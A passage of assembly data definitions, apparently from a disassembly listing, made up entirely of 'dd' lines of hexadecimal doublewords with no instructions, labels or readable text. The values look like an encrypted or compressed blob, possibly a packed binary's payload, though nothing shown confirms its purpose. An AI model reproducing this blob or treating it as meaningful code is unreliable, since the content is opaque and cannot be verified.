5B062805h, 95D9B7C6h, 5E79DD4Bh dd 531E157Fh, 1F9061D7h, 463F8C5Dh, 5A506852h, 0C93D8D89h dd 693B3136h, 0E164FFFh, 0D61C77C0h, 0C9E49D0h, 9DCC93Ch dd 0FF785A0Bh, 71885E2Fh, 0FD2B1B16h, 0A57DAA3Eh, 7805F0Fh dd 4C0ADF46h, 57CCE5E6h, 0AA351465h, 200D1BA2h, 34908Eh dd 1D6EBF77h, 0F3F24BE5h, 4D9BA12Ch, 0D0F644C7h, 0E7CE7D97h dd 0DCCD6120h, 0A0DAD972h, 2205D27h, 0F178DD39h, 7E87F924h dd 121FB522h, 0F629B9B0h, 97ED2281h, 0C5F90C34h, 7BB3FE59h dd 0DD2CCCF8h, 0A4B42C95h, 5C3E216h, 0AC55646Dh, 8A61A96Ah dd 5D9D27F5h, 1EDBF979h, 0E1AD8A66h, 0B685FE13h, 2469AA9Dh dd 0D8EB2B75h, 0C958022Ah, 768ACFE1h, 0A27405DAh, 0DB4CDF47h dd 436A5ED7h, 4BED3242h, 4BA82360h, 2CA9484Ch, 0AF74008h dd 3180B6E7h, 113A2F91h, 526FD888h, 0FDFE191h, 0F9212071h dd 0D7F64123h, 0ADF4250Eh, 0D1448C02h, 59A1721h, 0D2C3B5BBh dd 193CB262h, 243AC53h, 0AA9ADD78h, 0C5C67673h, 0E4A68E3Ch dd 799C19EEh, 17FFBB39h, 59557957h, 0D12D69F5h, 109A035Bh dd 0CD6876A1h, 0CE4AD554h, 0BA9B2B09h, 6A71C38h, 0E413DAD2h dd 3A64F1A7h, 6F69B17Ch, 5123E70h, 0C8E994C0h, 7B6FA543h dd 7C23BD1h, 0B53BEF3h, 56F8EA64h, 30598A19h, 0B7E81056h dd 9D880DF0h, 0E08B9B34h, 0CA1FF3D6h, 83799522h, 0BCC5A81h dd 383B0236h, 734E1844h, 5C08401Fh, 6A35D8F2h, 0B9441EA3h dd 2BC01609h, 1FFA4355h, 0F16BC764h, 0AE0D75E4h, 168D0882h dd 6C21127Dh, 2365C02Ch, 512FBFF7h, 79D45033h, 0E98C1E0Bh dd 0C33EAF7Bh, 5CDE5840h, 0B8D03Bh, 0B0CE154Eh, 2E1EA107h dd 2A410F96h, 2D815336h, 884845A1h, 36D4CF2Eh, 2B7C312Ah dd 0F5C1E9D2h, 8962583Dh, 4E6CC01Eh, 95AE35D9h, 8D736170h dd 9857E76Ah, 5A625BBFh, 0D6837D3Fh, 3EA3C1BAh, 0F1371959h dd 5F47F17h, 0C7D35446h, 0CDA9A97Eh, 0F684ABFh, 10E057BEh dd 0F0FFC519h, 7A7EE5Ch, 9D0A8360h, 0DE3C559Fh, 4B9A398Eh dd 58C5C46Dh, 6331C079h, 0CB4988FFh, 0E2A4A78Dh, 28C6CC0Bh dd 9060CB1Dh, 0FA38A91Ch, 1E68CBF1h, 6DA92232h, 1D23620Bh dd 0C853F933h, 75E3F012h, 2E908D36h, 0B48D47CDh, 0CE37BF27h dd 0B03171A3h, 0DBB69774h, 8D3A98F1h, 8B69D89Fh, 0B261605Eh dd 0A4C93BC6h, 52168B15h, 4C12ED23h, 4A13C763h, 0E1E51C09h dd 5F05EC8Ah, 69331A28h, 561A004Bh, 874F5A2Eh, 2087386Ch dd 9C46BC95h, 8AB46C89h, 0CAD83509h, 0B69FCFD7h, 446C49C3h dd 0E9E591E3h, 9DE6C867h, 76113E86h, 15051CCEh, 3386FF13h dd 549847C5h, 589CFDC6h, 9028F454h, 0E047E984h, 5FB121F7h dd 527C0B2Ch, 5250DB1Eh, 0D2967249h, 0F5024336h, 0A139BF76h dd 0F882013Ch, 487260C3h, 56EB405Bh, 15F17183h, 0D4E62B05h dd 2CB27D87h, 391214C9h, 228CF82Fh, 2FBAABB7h, 132A3053h dd 9DD3A9A6h, 30E82C96h, 9142E4D7h, 0EA3C495Ch, 0EF66B19Bh dd 45449A31h, 0AA039BAAh dd 0C5A54C46h, 1FFD8798h, 205D5F5h, 6F160B63h, 76016FCh dd 6E4A30B0h, 0C3B7D28Eh, 11D18AD7h, 91921DD1h, 3275B53Ch dd 13478DAEh, 70B6AAD9h, 0BF837482h, 0F7BD2978h, 91833B7h dd 0DD3B8C96h, 89F8A0EEh, 784398C6h, 0A0D0A02Bh, 3209CDA8h dd 5F3FB7EAh, 0B6AA29A8h, 59C012Eh, 4C40A01h, 443EEF9h dd 324354A0h, 1AFE5C11h, 5A8C076Fh, 74E39148h, 12683088h dd 0CE6158EBh, 159EA95Ah, 0CCBE6B3h, 0E12348E3h, 0E79F09C9h dd 889174BBh, 2080BDEDh, 1491560Eh, 78E51202h, 2BA71F46h dd 0D9992BFCh, 0EAD88182h, 8838C09Fh, 7D30635Dh, 56F98715h dd 2716808h, 0BCA5381h, 563B232Bh, 0BCBDECA8h, 2B0F1DB4h dd 0EFD1DB5Bh, 71740340h, 3091153Dh, 341B6C2Dh, 94AB36C9h dd 0D3948DE1h, 75B44ED6h, 5EC345BBh, 0E88213AFh, 4ED34C73h dd 195C816Ch, 31B27F9Bh, 72BC1BE0h, 1700FFF9h, 2C33E75Fh dd 0D40C8834h, 515CB5D8h, 8A5E54EEh, 1394E626h, 0FB4F7B1Ch dd 0FE318021h, 0C3C3AF4Dh, 0E4D24DD4h, 6615B3FCh, 0D05F35F4h dd 2D3F241Eh, 0E1ECC85Bh, 6D1E1CA8h, 69AE4D68h, 12C5DE04h dd 8FB98394h, 9857C31Fh, 494E4E17h, 0F9CCF285h, 3B79519Bh dd 8DD80D10h, 175B161Eh, 600628A9h, 0F7B29431h, 0DC8EF84Fh dd 602AC211h, 59188E33h, 0E9912FFDh, 0A011AAB0h, 75A00BE1h dd 0F7BF5863h, 0A135A732h, 4FA1E166h, 3D009F1Ah, 799A8AF9h dd 26515989h, 8752E2BBh, 0CBAD10A6h, 8B667F70h, 352A7EA1h dd 0F1625AEh, 3294D23Dh, 181F25D2h, 0C10BB5E7h, 0F6F30E70h dd 1926F34Ah, 534AB957h, 0B215A116h, 488F91E1h, 4BDA8F2Dh dd 0D0CAE44h, 89122241h, 13637172h, 0CD8B782Ch, 5429377Bh dd 5C3A6E48h, 0CB0B7C52h, 8415558Dh, 149E8E04h, 9F120519h dd 4E3C0DA5h, 0D4E06E55h, 53B8489Dh, 55F6D2E8h, 3336724Fh dd 0DAC2CC60h, 8C83BEB0h, 0A54B65E9h, 287A3DA4h, 0D69ED8A7h dd 29C50CABh, 6AFF4F41h, 463E1D0Ah, 0B7CB8FE7h, 12986082h dd 0E2115324h, 0B880E700h, 3FA32AD0h, 0DF354925h, 2E550FFEh dd 0DFC06637h, 7091DAD3h, 0A445AD11h, 3612B46h, 0B727D149h dd 63389303h, 0FA629A44h, 0C818BF3Bh, 3326EB29h, 8C31515Bh dd 634F36A9h, 0EC0F9C71h, 0BCB801DEh, 693C9BA4h, 4E4E463Eh dd 417005B7h, 0FCCDED8Ch, 983838D9h, 7E91788Bh, 3F0B3C09h dd 5E5EC499h, 480E7235h, 6C98895Ch, 0B4F3628Ah, 0F689BB33h dd 0ADF5ED89h, 251B3667h, 9F48F38Dh, 0E2B2CC2Eh, 0FFC65D2h dd 7D5AE28Ch, 0C536F82Fh, 2C4F8DCDh, 9F147592h, 0BC5EA41Bh dd 0DD3472h, 0C9D6F614h, 4976AB53h, 0C9E8A264h, 3CE0C4AEh dd 386EA814h, 0B6EF6AD3h, 44360772h, 0A3F336B4h, 661EF3F7h dd 58027D79h, 9F17FB14h, 0C4FF7CFh, 35C15B41h, 48F86743h dd 7A6E0951h, 29E44D4Bh, 53457126h, 74387937h, 6D0852E2h dd 0DB881008h, 0C975923Eh, 0D098CFE1h, 0E23FC3B8h, 14B35B77h dd 6E9D654Ch, 0B7FC3CD9h, 9228E9BAh, 78921B80h, 0CD89560Fh dd 0F15E034Ch, 4457A215h, 0F67F2A0Fh, 2E4D1FEFh, 88C5750h dd 0F7B14C8Fh, 14824D3h, 32CC7DC2h, 0A84F43C5h, 0FE58F3E3h dd 0E95053D2h, 0CD001A47h, 0A6440171h, 0AF472B7Ah, 0AF24D7AFh dd 0C92A47F3h, 0D2ABA705h, 0EAEF26F6h, 0F9EC754Bh, 360B35Ah dd 0F111C1B3h, 5C56764Dh, 983401Dh, 8DEBCE88h, 0B66E57Dh dd 0CB4DB4CEh, 22757691h, 0EE08A150h, 1E82DB3Eh, 61EF8E03h dd 286F659Eh, 2352938Eh, 158398D7h, 6B3D201Fh, 0EBFF9573h dd 0BD907FDFh, 1CEEE5F5h, 8F50B488h, 0BF557F3Ah, 2FCA731Ah dd 0E8179F57h, 41EB7324h, 0A00298F9h, 3AD38655h, 0ECB4EBD3h dd 0A423CCBAh, 9D80F7A1h, 7B12443Ch, 27CE5464h, 8EBF60A2h dd 6B609312h, 4A8E6D49h, 6694E5B6h, 2220B0D3h, 0D0E006DBh dd 0AE97A16h, 94946A10h, 0B9DEB04Fh, 0D52AC0Ah, 6B69FEB6h dd 2A48DA77h, 0F53C4F4h, 4759BF6Fh, 161DC70Bh, 9FEC8A9Eh dd 0DAC00795h, 8EFF0E48h, 0FFAB3A5h, 58A55820h, 12D7FAC8h dd 0D8974A86h, 7B9A8659h, 980D20CBh, 95E31BEBh, 84FC18A2h dd 0A087DD49h, 74345C13h, 4092F2D0h, 0A1961D19h, 32FF2617h dd 383158A4h, 5B664456h, 7758C523h, 92EEFCBAh, 0B382076Ch dd 0DFB300Dh, 8712A11Eh, 0B074871h, 5CF775C1h, 0A6B40795h dd 45B5F34Eh, 0E138C88Fh, 7EBC7357h, 50DCA40h, 511F5540h dd 9735AFF7h, 92B71B5Ah, 0E505FE2Ch, 745060D9h, 86FFA968h dd 63AF6243h, 0BA241F6h, 1D38B231h, 0B5B60955h, 17DA0C2Dh dd 0C6301FFAh, 31C5FCA6h, 683AFA44h, 0C6F4DC51h, 3ED04DD4h dd 0D14FF645h, 0B178F96Bh, 0C6A5BCACh, 9CA62623h, 837B244Dh dd 93146490h, 1CBBBA5h, 3CB36D14h, 1F7C63CEh, 0D8824460h dd 0E72E0BACh, 0BB7A2D7Ch, 6C63C878h, 1BAD5D04h, 141C2F87h dd 8E6BF077h, 6305C717h, 0FA680341h, 0ADCBF1EDh, 0E0D3A97Bh dd 72649B74h, 6F40F998h, 2D8F16A5h, 0D9013468h, 10FEA5EEh dd 49EC2C20h, 11B38012h, 0B4E1820Ch, 43DE5CEEh, 4543CDDAh dd 661A65AFh, 55EF26EDh, 0B1A887B9h, 80145E98h, 7F7E4E0Ch dd 2F3903E2h, 0C84DA924h, 6F79D32Dh, 0EE4B06D9h, 0C2549B88h dd 21ECD82h, 0C0751702h, 4C2B8A59h, 11608485h, 5F2B30ADh dd 41FB600Bh, 0E4E41583h, 9327044Fh, 118150E6h, 18A79E20h dd 0B68FC87Fh, 0E3A9CC4Ch, 0A6F519BFh, 44429EA4h, 7B43C8C0h dd 0C3727483h, 81458A9Dh, 25B10A7Ch, 0BA138D45h, 0B7FFA504h dd 409DB26Bh, 1402732h, 278851ADh, 0A007E172h, 2B69AC09h dd 0E50C5754h, 0FBACF0EBh, 1B39D2DEh, 0D8E8297h, 1DDC0470h dd 11ADB5CCh, 0A3AFFACh, 89CB2AC8h, 14DA5184h, 0E6726145h dd 2FEDDDB2h, 4481A9F1h, 8A045D64h, 0BF48BD48h, 0BD2E49BEh dd 3BDCF297h, 2A2DF0AAh, 8E678973h, 0DEE0FF98h, 66592832h dd 0B09D80ADh, 8C93292h, 90D1F745h, 0A9A87FD1h, 8F0A6BF5h dd 2B38FBCAh, 7CCDC7BBh, 6673ADE1h, 0B55B048Dh, 9A882500h dd 3C1A1CBCh, 20088DB8h, 0FC0BAC2Fh, 94D2F76Ch, 0C7CB4073h dd 0B9FB9D70h, 38334F0Fh, 0A01F7ACAh, 9F7CF466h, 846543AAh dd 2A0C005Dh, 5FF2AC47h, 877A1389h, 96FECDC2h, 162040FEh dd 0BFD3F489h, 43A6CB2Dh, 67C1BB7Ch, 94AE0A81h, 73F0FBBBh dd 4FC999A1h, 83564B0Bh, 75A4D910h, 209BF40Ah, 0BAA8A287h dd 6522B918h, 0ED0D5505h, 0B00CA8ACh, 0A530CEB6h, 4122AF9Bh dd 7D8161ABh, 94E0F06Eh, 73B66B4Dh, 0D654F007h, 0C3F1DFBBh dd 9F6E6E87h, 90D60430h, 0E80EE9D0h, 0DA98956Ch, 5D796F59h dd 0B9B12BDFh, 0A7BCB5BEh, 875F529Eh, 0DD0E74FCh, 322A1A5Fh dd 7E57E9A3h, 82076A28h, 92EDD98Fh, 4424F248h, 4AF6498Ch dd 945B201Ah, 0E536FF60h, 7E238361h, 0A831DB8Dh, 0DCCA3CD0h dd 0C43C0C9Eh, 9A6872EDh, 0E140E2D8h, 2C41A3F1h, 1C92472Eh dd 0EEA50973h, 0E59E8884h, 0CD74E534h, 57909678h, 57FF8E95h dd 0DEAF01DBh, 50B6BCB1h, 3FC52710h, 5E18158Ch, 0B272C1E0h dd 0E496956Ch, 9B8B6326h, 0DF0D9BD6h, 0C12FFD61h, 0B25C1F6Eh dd 993C6944h, 2B61C118h, 8E0A439h, 0AF3EAE78h, 0ECBB3103h dd 64EB0423h, 9DD66307h, 8D1DF452h, 398BBB5Bh, 964B1823h dd 2477CEBEh, 5996AD84h, 61400BFh, 4C62D463h, 5D9E1A9Dh dd 0D71B2726h, 8707FEC1h, 0CE481E72h, 0B5E1BE81h, 0DEF22C93h dd 5F2C9F2Fh, 0FC2D158Ch dd 7DB5B89Fh, 0A4434F75h, 0DAB11A36h, 69459B27h, 0F2BA49BFh dd 2AB212EDh, 87089D27h, 0ABA98F80h, 6CEA6242h, 0B5A23AAh dd 5913CEFFh, 8CFD71DFh, 0D98A327Dh, 97383355h, 42E022FFh dd 26078459h, 4372981Dh, 906130E8h, 0BA06E57Eh, 0AC9230FEh dd 0A0638199h, 58AC9BFh, 0FCBD13F2h, 0A6A1440Bh, 0E43BBD37h dd 0EE29B11Fh, 0C664ECBDh, 0C9384E46h, 63A38FAFh, 0A5522276h dd 22380F0Fh, 0A109B643h, 0BF3D0D69h, 42405D87h, 0A0E1B63Ah dd 9E336B05h, 0BE23AC11h, 0D0797EFFh, 80EB0198h, 15FBB982h dd 35C95F69h, 0A19ACB3h, 2663E83h, 9CB5D5FAh, 19ABD2CDh dd 33A56F44h, 6A3EEC3Bh, 12500F05h, 67913ADEh, 0A62683AEh dd 5EC4D17Eh, 0AB27A3F9h, 0D5BE2309h, 5F3A316Ah, 4A52996h dd 88C2547Ah, 0C7F4F73Ch, 34789A5Eh, 0A292770h, 0A84AB127h dd 0C9D817E4h, 37B19789h, 0F4ABE35Bh, 0E95D252h, 70B9EC32h dd 37C6DC99h, 0D3FB7A86h, 0B71B8B62h, 86AFD220h, 0F27CC3C4h dd 0EB42225Ch, 0CADFC889h, 0D4D8CC90h, 0BB3FE05Bh, 0DE0A8E2Ch dd 86EE89A2h, 0E275087h, 24132AF5h, 0ED3509A6h, 0AC90C812h dd 4052178Dh, 0CDFFC1C5h, 0A4F42A6Bh, 0D200D850h, 0A1F1A65Eh dd 0C56B8707h, 0E1F10147h, 0C778644Eh, 0BE38C6FDh, 0ACA5CF88h dd 33F3BCEDh, 6DB93A70h, 2416AEBDh, 0B9E4ECh, 864485Fh dd 0BA0ECBAh, 0DD9ECFC4h, 0C0EDBB26h, 0AF0D56A2h, 91166BEBh dd 0A2F1888Dh, 39EF89D0h, 33FB9910h, 0F148388Bh, 3BB11B4Eh dd 148696B7h, 26B12AC9h, 86142E0Eh, 680B01E1h, 0F4AD96AAh dd 4A184133h, 0A0734FF1h, 0FCDAC6ADh, 0E4B1861Fh, 0AD7C439Fh dd 3AAE1FDDh, 1829D72h, 0F8884E68h, 8EB31AAFh, 0B555906Eh dd 0A4369D8Ah, 77A4AEAEh, 0E611A2D4h, 0A4EB6722h, 515A6C0Bh dd 1B187457h, 5AED8240h, 0E168B0Ah, 9E7AB64Eh, 0DC1180DDh dd 45968341h, 78656FC7h, 0F6ED9A61h, 0E959633Bh, 539BEA33h dd 0E5E10433h, 5BF9CE5Eh, 40DC3A1h, 99AB1E7h, 14146169h dd 0F8D89F6Fh, 1CE7BC93h, 2277BA5Ah, 0F551B63Dh, 0F5E6AED5h dd 7E0F2DDFh, 34CEBA2Eh, 53CEC096h, 0AD006761h, 0C61CD2BDh dd 0AEBFCD8Fh, 3D1604A8h, 0E25EAB54h, 0F9088AE5h, 0ED375138h dd 141D68B7h, 1155FAECh, 0E1FAEB18h, 3123969Dh, 29FD42D1h dd 0C844ACC5h, 83FBA411h, 0A396405Bh, 73FF067Eh, 0B8444DE0h dd 6F03CBD2h, 660B7910h, 0E760A807h, 0B89D85EFh, 0AA35B5B5h dd 89E9AD1Fh, 0A5129FAEh, 0C349EE7Bh, 0DDDC8C86h, 0C02D949Ah dd 0FFDCABB4h, 6C15631Ch, 0DA26660Bh, 30F0F1ADh, 0CEDB520Eh dd 0D8080DABh, 0EE71738Ah, 0D67E8646h, 328E6544h, 51EDEE27h dd 4640E394h, 685F17ACh, 9723F49Dh, 0D97B680Ch, 0F53C392Fh dd 8C30A56Ch, 0F0E2F43Bh, 8DDFDF9Dh, 0F1814C52h, 0DE9C17C0h dd 6B09EEF6h, 22E59305h, 0C5EF82E0h, 3572D056h, 0B08A3D34h dd 0F89FF119h, 0BEA5976Fh, 77094B64h, 0B72D3156h, 0A71AC6D8h dd 235DC1A4h, 0FAEBB3D1h, 0CE8D3933h, 1A9815B3h, 0E419079Fh dd 5995A6F7h, 4A391B08h, 0B128B87Ah, 0CE90E350h, 0AB860BFCh dd 0BAEC210Ch, 4AF2BFF0h, 2F3DAA16h, 5951BB8Dh, 7040EE66h dd 117905F9h, 4A7658C2h, 32BAA8D5h, 0C355E3F3h, 94B8C264h dd 0DB7DD3FAh, 0A17EFDBAh, 5F4A0F04h, 909BB8F6h, 0E77ECE7Ch dd 6F8C28DFh, 0BE347C82h, 1D75941h, 0E38AD887h, 0B6E312B6h dd 15E1C64Ch, 0DCC34A58h, 16DEF34Ah, 2355965Ch, 0CFD9758Ah dd 4961D07h, 0BA7B5080h, 8374D16Ch, 5F80A1ECh, 50F9FCF5h dd 0BAF5E3D7h, 0D9B76164h, 5BA81D20h, 6C2BC541h, 96CA81C5h dd 685B6F95h, 0F97F393Ah, 2B32D8D3h, 0D9BC325Eh, 89BAD635h dd 50DBC29h, 0C908CB60h, 5B5705FBh, 1A1EE27h, 8A116F0Bh dd 713896C6h, 4A44D192h, 0BEDBC659h, 0E90FA69Ah, 0DDD06448h dd 0F34F9945h, 0FD7515B4h, 0EF947E8Bh, 3057F41Bh, 5395233Dh dd 58B860DAh, 0E6ABF6EBh, 0DA797984h, 0FBABEFBAh, 0CF6FD3DEh dd 9A6CEF06h, 9582F1C4h, 0D71FD52Eh, 0FF53601Bh, 0F9C95A8Eh dd 99C19BB5h, 255EF6D7h, 9922136Ah, 0C3406CD0h, 890AE61Ch dd 0B2E041FBh, 0B73AA005h, 6B8E0082h, 22D63C6Ah, 4132B9F4h dd 3B14188Ch, 0FF189F7Ah, 3801DA83h, 620494BDh, 5C6A3136h dd 877945A8h, 67E4538Fh, 1EB618D8h, 2369185Bh, 0D40A2B29h dd 74C6409Bh, 0F38557EEh, 0C2FED618h, 7236405Dh, 8B824EADh dd 66616A8Ch, 0FCDB497Ch, 21BE0267h, 334C8C14h, 0F8A69865h dd 0D41FA132h, 76B6BB87h, 0A44BDEFh, 0C9A0D01Fh, 0C4CB7830h dd 3733EEAEh, 6B813C1Dh, 758FE13Ah, 604EA50Dh, 45AE4477h dd 591A66B6h, 840073ACh, 237515E3h, 8CC1F9B9h, 0FC5D192h dd 6F1C14C0h, 0AB02055Ch, 1D5DA45h, 2949BEF7h, 60C64557h dd 99E63320h, 4C20D52h, 1E5D3168h, 716E0BCCh, 5B9DCB8Fh dd 9FE01B47h, 17FA427Dh, 5A82C3AEh, 9E8FC941h, 9D73519Bh dd 1A7CF169h, 0F9D3CFC4h, 0A4E3BEE7h, 9ACC8B83h, 5401399Ch dd 4E550E81h, 1D7B6605h, 0B7DCE70h, 0F37C89B6h, 0C27EF5AAh dd 5C77784Ah, 7830DCB5h, 0A38671A6h, 0E3E8F49Dh, 2D4D7B6Dh dd 16934945h, 0F0E8090Eh, 8D6BDFB3h, 93419DF6h, 0F2EB2357h dd 2ED622A0h, 0AC1C389Ah, 0D039BE76h, 2E55D82Bh, 0FE80202Fh dd 90845226h, 19CF52C3h, 0EC1C216Eh, 55C26A0h, 0C766B823h dd 0E3B4601Dh, 4CD976D2h, 0A2B3E45Eh, 0ADAAD167h, 714DA5D1h dd 57147D2Ah, 0BA45FE88h, 0C1E39DE7h, 1498E790h, 0F0E1E816h dd 5B523364h, 3667E6AAh, 50FC3AA3h, 4615C2C4h, 8498E3FBh dd 8EC480E4h, 21C7679Eh, 0F2ABA7C0h, 186B5CECh, 17A56D0Ah dd 8C257952h, 0D37FCD7h, 7273DD38h, 2FDB20D4h, 0FA0BFA52h dd 11C7D3C4h, 38C3AA1Eh, 0CB99D54Ch, 0BD11AF64h, 0F57471CCh dd 1876C03h, 225E0FFCh, 61771146h, 0A3C34BE9h, 2B0D5FFEh dd 0A95BC95Ch, 6528FB32h, 0CB735305h, 138D775Fh, 0D75E375Fh dd 0E1A6DF5Dh, 10D84312h, 6382139Ch, 51721853h, 229BD2C8h dd 40698531h, 0AE3B3536h, 0FFC3F843h, 30CC48BDh, 1722B30h dd 0D5782F9Eh, 6A6D3F27h, 2A96A9E0h, 0E4252EAh, 892490E5h dd 6CE66535h, 0FE174F9Eh, 7CC60D4Fh, 4C9CEA8Dh, 112C4FB3h dd 68500D9Ah, 0FD85E6BEh, 80AA4848h, 0EE10C7E2h, 9FAC5AC5h dd 0FA6657Eh, 0B0ADA63Ch, 0C42BC87h, 0A44AD262h, 0C0D28E82h dd 0B086FCBCh, 84A7D9D1h, 3BE78C75h, 7D3B11DEh, 24B32D0Ch dd 9F54EECFh, 94EDDF6Ah, 6A9508B5h, 29F8EAB2h, 33555BB8h dd 0A1E5BFD0h, 2EE51012h, 0A893A89Eh, 29AC2557h, 889E8583h dd 283DD989h, 8FBDFF1Bh, 0E13DB37Ah, 0F2DE69Fh, 0A89D1CAAh dd 6547814Dh, 0A6DFD16h, 0A8E3A13Ah, 293B24DEh, 4355F672h dd 2C291D3h, 0CEA40C18h, 41593ACAh, 519449F4h, 69364B83h dd 57BC6CEBh, 565BBEFDh, 82A0D673h, 9C1E224h, 1FAB9BFh dd 7375D9C4h, 9AC79108h, 6046E5Bh, 495D70E9h, 499F04E7h dd 842D371Dh, 0AA18D87Eh, 0C4F8DF7Bh, 112F6E94h, 7B8B25D5h dd 991E8288h, 2BF54357h, 2C80FA2Fh, 87F9E1BEh, 0E463E211h dd 5A114F81h, 0F005E2ABh, 6C7F1203h, 16BD7AC1h, 6E30F36Bh dd 0BE3848BDh, 6CA67F17h, 5A75BAE2h, 7F58BADCh, 61466931h dd 2CA82887h, 0C2EC1CA6h, 6446D4BFh, 0C60A29h, 7AD4E4ADh dd 0D74266C6h, 0CF39D196h, 6261DBBh, 5A4F9D73h, 0F7BB71E7h dd 0BDD89247h, 0A5E08F04h dd 87B487DBh, 554889ECh, 0A96B0C2Ah, 14B8FD4Bh, 2B2931F2h dd 0DC40A649h, 4AC1AB2h, 8CFB2ABBh, 0A203C309h, 0FEE4649Fh dd 37CAB9D4h, 672F9DDBh, 0E3473DB4h, 9ADC9D4Eh, 407EABB5h dd 0E4B517Ch, 19D49BDBh, 5464D296h, 0DFCF7C51h, 9DB7BD06h dd 0D4F23E1Eh, 3893C2F5h, 15819866h, 0B24AB432h, 0FDAB9200h dd 62CFAA2Fh, 1FE1DE57h, 100C5769h, 81BC7846h, 6CE299A8h dd 88E98090h, 4B67153Bh, 23B102C5h, 4811DABAh, 1C0E5E06h dd 27C54555h, 0B438E445h, 90791594h, 3B908F55h, 73108702h dd 0DAAE0A58h, 8C9F2E02h, 22F58C00h, 28B83E2Fh, 5A70C9D3h dd 0DD89C7E3h, 323D7C77h, 76E58BC9h, 2AA44C33h, 4FAE8E03h dd 1B7FB2A3h, 0E04A7A26h, 642AB5C7h, 3468BD2Dh, 5C7C7089h dd 0BC508074h, 0A745FA90h, 957D8EB8h, 2E95546Ah, 87555934h dd 0D3192000h, 33F81C54h, 0C794501Fh, 8DEC157Eh, 0B3368081h dd 0E6CF408h, 82CE7C69h, 2EA37A20h, 8C22C9EDh, 0C489724h dd 1772D432h, 3BFBC6EDh, 4A6CCB9Ch, 84593FC3h, 0DB57839Ah dd 0FB0768FCh, 3C4FA34Bh, 92D994DCh, 4679AE41h, 865C8278h dd 75CAE7BCh, 825B9B4Dh, 0CCF820A7h, 96A1FAF1h, 7DE95799h dd 13CBFAEDh, 9D6B86D5h, 4A02FD5Dh, 0D55C2BC7h, 8EB607DFh dd 0B1BF083Ch, 475919DCh, 0E6830246h, 0C2F7174Eh, 7F40E4Bh dd 5C1FD7A9h, 0D8C4985h, 0EEEE0EE1h, 0B6B3616Fh, 0E2B86157h dd 25D706CBh, 42681933h, 4E85BD9Bh, 6248549Ch, 0FBD91497h dd 14AE9315h, 0E7B7B21Eh, 57075587h, 2F6147D1h, 8D71488Ah dd 9BA46E8h, 595027A2h, 474BB74Eh, 0D53E142Ah, 0CA773D7Bh dd 0FD4A033Eh, 0CB406622h, 60FF80B2h, 0E1E224B9h, 0DD51A300h dd 0B92C69E8h, 48D49FE4h, 622FCDD0h, 0F96614BEh, 37050081h dd 33A2EE1Fh, 0D7982A7Eh, 0D2C4C809h, 5567C4B4h, 0DF54A84Ah dd 0C3FDD512h, 3DADE221h, 7FC5C600h, 5A5F611Bh, 0F65ABD7h dd 296AA991h, 80199B05h, 814A7C1h, 0EFFBBE38h, 0DE28DBE0h dd 0E1D365B9h, 8DBE7281h, 55DABAF6h, 0D9C28ED8h, 1BB23926h dd 8B25BC90h, 0FF655CB3h, 4C680978h, 494048B5h, 0CCE07345h dd 6EB3097Ch, 0DFC016A6h, 86D843BFh, 4AA49E44h, 96B8A0CEh dd 86D1822Bh, 0D571BF14h, 36E4B7Dh, 1B7DA656h, 0CCECB9FFh dd 16394924h, 0DFFA0B20h, 0D002BF5Dh, 0B9B00DF2h, 2D4B96F1h dd 3B0F5EF8h, 3EC73B6Fh, 7E7DD9Ah, 51ED943h, 6FBD40Ch dd 0CCD6B559h, 78A28E88h, 0C6975120h, 25388602h, 0D5DF1EC7h dd 0E3B4EDF0h, 92D1074Ah, 0F33F37B7h, 9F67FBFEh, 727224EFh dd 0D74963D6h, 1B20A205h, 1DEB7013h, 0A54985Fh, 578F29BEh dd 0B639F0Dh, 332A0C40h, 6C50EE19h, 4382ABDDh, 9B1EF5FDh dd 0B708F7A9h, 17C71485h, 6C9A52A4h, 7BA082A7h, 0E27DCAD0h dd 80AC2413h, 521ED3F9h, 716A1201h, 0F99FD3F5h, 0DCDEB9B3h dd 0CA89D3D0h, 0F1B50A95h, 3002F163h, 0B4E2C320h, 0BAA42331h dd 675DA349h, 1A7DC40Dh, 8C8B8403h, 0BDF5CA1h, 0EE1B1F84h dd 13858067h, 9073A093h, 41FA455Ah, 8B94EA52h, 5526321Dh dd 511A8811h, 124993F2h, 0FB6C7E31h, 40A476B2h, 676BE7B9h dd 0A65E7BDDh, 5EE5FFBBh, 97AB0539h, 49DFE39Ch, 0B5BF79C7h dd 309EBDBCh, 8197C53Ah, 19953F56h, 8C37544Ch, 0F7282C68h dd 0CFF0D335h, 0A6503CF3h, 7BE48E41h, 0E628F5F5h, 6CCC2437h dd 9B668C5Ch, 7A7598C1h, 10616345h, 0FF4FB7F8h, 4922612h dd 139A0208h, 6B48B54Fh, 0FE7D6BAAh, 6A98F9E8h, 7575F6C6h dd 98F38FC5h, 0BB4B66E7h, 0A5924938h, 0ED09B429h, 67F3B69Fh dd 70A16DB6h, 0DF8B9CDFh, 0FE224C27h, 4B9FD0BFh, 95B0ED33h dd 0BA6E4DE8h, 0B043A788h, 86EBE4DBh, 0C370CFCBh, 0DF3A55B8h dd 70FB4215h, 0F03862D6h, 1628BA7Ah, 4A16C036h, 5EBEF3DDh dd 6E26DC56h, 0F4AF69F3h, 0FE63018Dh, 0DD3B5F1Fh, 6811C9Ch dd 39A6F1A6h, 8E4B2FBBh, 0ACD320AAh, 9963BF46h, 4B13C6C6h dd 9B59D988h, 2B55EC58h, 0C946EBE6h, 9275ADB4h, 3A903178h dd 24F5179Fh, 4B29EA44h, 0EAD68A31h, 84BC29AAh, 0F7DB3F3Dh dd 75233476h, 32664881h, 33AE80C8h, 297B3DAEh, 1793AFB8h dd 7094ECF0h, 8323A037h, 87510EE0h, 0D4A5292Eh, 0F2A3355h dd 0E9236775h, 0A8E0762Ah, 0DDF0987Eh, 0BEBFB123h, 83B84276h dd 648CCABFh, 0D3B1EFB8h, 787609F0h, 7BF5253Dh, 1CC29B2Dh dd 8F681CDEh, 0F3BA44Dh, 0FB2609B1h, 13B202B5h, 15DAE632h dd 1FB84143h, 39D0EDFh, 4DDEF9EDh, 24C5E58Bh, 3C9D4EA5h dd 9C567E3Dh, 6E3FA825h, 1DD0DF61h, 0D830C754h, 0A6F66B74h dd 9D3D374Bh, 4477810Bh, 0AD3D92FAh, 529B30CDh, 5E70BFD1h dd 9073CC57h, 0C824FC74h, 4D442F0Ah, 86A9C503h, 2F6D139Bh dd 6CDA0056h, 0BD5025F6h, 1274FE0Dh, 2FE2F7E2h, 5FFF7801h dd 5F4A86DFh, 7362123Bh, 93BC8766h, 1827B174h, 2F33F00Dh dd 0E9F601FBh, 0F52A79FCh, 78EA1E31h, 356920BAh, 0F3F5C966h dd 7EA7C709h, 0ECB473D8h, 6995B74Fh, 